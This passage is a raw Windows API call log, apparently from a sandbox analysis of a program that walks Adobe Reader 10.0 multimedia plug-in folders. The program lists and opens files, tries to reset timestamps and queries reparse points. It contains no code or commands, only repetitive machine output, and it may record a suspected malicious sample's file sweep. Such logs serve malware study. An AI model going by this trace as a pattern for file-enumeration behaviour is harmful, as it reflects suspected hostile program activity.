hFindFile=0x2e91c0) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.HUN", cAlternateFileName="")) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.HUN", cAlternateFileName="")) returned 1 [0083.595] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HUN", cAlternateFileName="")) returned 1 [0083.595] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.HUN", cAlternateFileName="")) returned 0 [0083.595] GetLastError () returned 0x12 [0083.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.595] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.595] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0083.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0083.596] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.597] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.597] NtClose (Handle=0x168) returned 0x0 [0083.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.598] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.598] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.598] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0083.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12168a0 [0083.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0410 [0083.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.600] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.POL", cAlternateFileName="")) returned 1 [0083.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12168c0 [0083.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0518 [0083.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.602] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.POL", cAlternateFileName="")) returned 1 [0083.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12168e0 [0083.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0620 [0083.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.604] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.POL", cAlternateFileName="")) returned 1 [0083.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216900 [0083.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0728 [0083.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.606] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.POL", cAlternateFileName="")) returned 0 [0083.606] GetLastError () returned 0x12 [0083.606] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.606] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.606] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.606] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0083.606] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.POL", cAlternateFileName="")) returned 1 [0083.606] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.POL", cAlternateFileName="")) returned 1 [0083.606] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.POL", cAlternateFileName="")) returned 1 [0083.606] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.POL", cAlternateFileName="")) returned 0 [0083.606] GetLastError () returned 0x12 [0083.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.606] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.607] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0083.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.611] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.611] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.611] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.612] NtClose (Handle=0x180) returned 0x0 [0083.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.613] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.613] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.613] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0083.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216920 [0083.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0830 [0083.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.RUM", cAlternateFileName="")) returned 1 [0083.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216940 [0083.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0938 [0083.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.617] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.RUM", cAlternateFileName="")) returned 1 [0083.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216960 [0083.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0a40 [0083.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.618] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, 